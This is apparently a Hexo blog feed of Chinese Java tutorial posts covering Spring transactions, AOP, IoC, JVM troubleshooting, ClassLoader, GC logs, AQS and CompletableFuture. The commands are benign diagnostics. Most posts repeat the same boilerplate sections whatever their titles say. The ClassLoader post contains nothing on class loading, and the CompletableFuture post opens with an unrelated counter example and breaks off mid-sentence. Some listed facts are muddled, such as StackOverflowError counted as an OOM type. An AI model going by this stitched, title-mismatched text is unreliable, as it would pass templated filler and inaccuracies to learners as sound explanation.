        <content type="html"><![CDATA[<h1 id="Spring-事务失效的常见原因"><a href="#Spring-事务失效的常见原因" class="headerlink" title="Spring 事务失效的常见原因"></a>Spring 事务失效的常见原因</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring AOP 的原理和常见应用</title>
      <link href="//spring-aop-de-yuan-li-he-chang-jian-ying-yong/"/>
      <url>//spring-aop-de-yuan-li-he-chang-jian-ying-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-AOP-的原理和常见应用"><a href="#Spring-AOP-的原理和常见应用" class="headerlink" title="Spring AOP 的原理和常见应用"></a>Spring AOP 的原理和常见应用</h1><p>AOP 是 Spring 的核心功能之一，但真正用起来容易踩坑。很多人知道 @Aspect 注解，却不清楚代理模式的区别、切面的执行顺序、以及自调用失效的问题。本文从配置到常见问题，把实际项目中的处理思路整理出来。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>JDK 动态代理和 CGLIB 代理的区别：前者基于接口，后者基于类</p></li><li><p>切面的优先级由 @Order 注解控制，数字越小优先级越高</p></li><li><p>自调用问题的原因是内部方法调用不会经过代理对象</p></li><li><p>使用 ProxyUtils 或暴露 AopContext 可以解决自调用问题</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>AOP 是实现横切关注点的利器，但需要理解其底层机制才能用好。在实际项目中，日志、事务、权限校验都是 AOP 的典型应用场景。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring IoC 容器到底解决了什么</title>
      <link href="//spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/"/>
      <url>//spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-IoC-容器到底解决了什么"><a href="#Spring-IoC-容器到底解决了什么" class="headerlink" title="Spring IoC 容器到底解决了什么"></a>Spring IoC 容器到底解决了什么</h1><p>IoC 容器是 Spring 的根基，很多开发者每天在用却未必能说清它解决了什么。从手动 new 对象到依赖注入，这个转变看似简单，却带来了巨大的设计优势。本文从实际使用场景出发，理解依赖注入的价值。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>依赖注入实现了控制反转，把对象创建的控制权交给容器</p></li><li><p>构造器注入优于字段注入，能保证依赖的不可变性和非空性</p></li><li><p>IoC 容器提供了对象生命周期管理、依赖解析、配置管理等能力</p></li><li><p>通过 @Autowired 或 @Resource 注解实现依赖注入，前者按类型，后者按名称</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>IoC 不仅是一种技术实现，更是一种设计理念。它让代码更易测试、更易维护、更具扩展性。理解 IoC 有助于更好地设计和架构 Spring 应用。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>内存溢出和内存泄漏排查流程</title>
      <link href="//nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/"/>
      <url>//nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="内存溢出和内存泄漏排查流程"><a href="#内存溢出和内存泄漏排查流程" class="headerlink" title="内存溢出和内存泄漏排查流程"></a>内存溢出和内存泄漏排查流程</h1><p>内存溢出和内存泄漏在 Java 项目中并不少见。本文讲排查流程和常见原因。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>线上 CPU 飙高如何定位 Java 问题</title>
      <link href="//xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/"/>
      <url>//xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="线上-CPU-飙高如何定位-Java-问题"><a href="#线上-CPU-飙高如何定位-Java-问题" class="headerlink" title="线上 CPU 飙高如何定位 Java 问题"></a>线上 CPU 飙高如何定位 Java 问题</h1><p>线上 CPU 飙高是典型的紧急问题。本文讲一套从定位到解决的排查流程。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ClassLoader 双亲委派模型实践理解</title>
      <link href="//classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/"/>
      <url>//classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="ClassLoader-双亲委派模型实践理解"><a href="#ClassLoader-双亲委派模型实践理解" class="headerlink" title="ClassLoader 双亲委派模型实践理解"></a>ClassLoader 双亲委派模型实践理解</h1><p>双亲委派模型是 Java 类加载的核心。本文讲它的原理和实际应用。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>GC 日志怎么看才有用</title>
      <link href="//gc-ri-zhi-zen-me-kan-cai-you-yong/"/>
      <url>//gc-ri-zhi-zen-me-kan-cai-you-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="GC-日志怎么看才有用"><a href="#GC-日志怎么看才有用" class="headerlink" title="GC 日志怎么看才有用"></a>GC 日志怎么看才有用</h1><p>GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>关注 Minor GC 和 Full GC 的频率和耗时</p></li><li><p>年轻代晋升到老年代的对象大小和频率</p></li><li><p>GC 前后的内存使用变化</p></li><li><p>使用 jstat、jmap、jvisualvm 等工具辅助分析</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>JVM 内存区域从入门到排查</title>
      <link href="//jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/"/>
      <url>//jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="JVM-内存区域从入门到排查"><a href="#JVM-内存区域从入门到排查" class="headerlink" title="JVM 内存区域从入门到排查"></a>JVM 内存区域从入门到排查</h1><p>JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域</p></li><li><p>栈内存是线程私有的，每个线程都有自己的栈空间</p></li><li><p>方法区（元空间）存储类信息、常量池等</p></li><li><p>常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>AQS 为什么是并发工具的基础</title>
      <link href="//aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/"/>
      <url>//aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/</url>
      
        <content type="html"><![CDATA[<h1 id="AQS-为什么是并发工具的基础"><a href="#AQS-为什么是并发工具的基础" class="headerlink" title="AQS 为什么是并发工具的基础"></a>AQS 为什么是并发工具的基础</h1><p>在 Java 并发编程中，AQS（AbstractQueuedSynchronizer）是理解 ReentrantLock、Semaphore、CountDownLatch 等工具的关键。很多开发者每天在用这些并发工具，却未必清楚它们的底层实现都依赖同一个框架。本文从实际应用角度梳理 AQS 的核心思想，结合源码片段说明它是如何支撑各种同步器的。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>AQS 的核心是一个共享状态（state）加上一个双向链表，线程获取锁失败时会被包装成节点加入队列等待</p></li><li><p>独占模式和共享模式是 AQS 支持的两种基本模式，分别对应 ReentrantLock 和 Semaphore</p></li><li><p>tryAcquire/tryRelease 等方法由子类实现，AQS 提供模板方法和队列管理</p></li><li><p>ConditionObject 是 AQS 的内部类，实现了 Condition 接口，支持线程等待/通知</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。比如排查死锁、分析线程阻塞原因时，知道 AQS 的工作机制会非常有帮助。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CompletableFuture 编排异步任务</title>
      <link href="//completablefuture-bian-pai-yi-bu-ren-wu/"/>
      <url>//completablefuture-bian-pai-yi-bu-ren-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="CompletableFuture-编排异步任务"><a href="#CompletableFuture-编排异步任务" class="headerlink" title="CompletableFuture 编排异步任务"></a>CompletableFuture 编排异步任务</h1><p>CompletableFuture 让异步编程更优雅。本文讲它的核心能力和组合方式。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 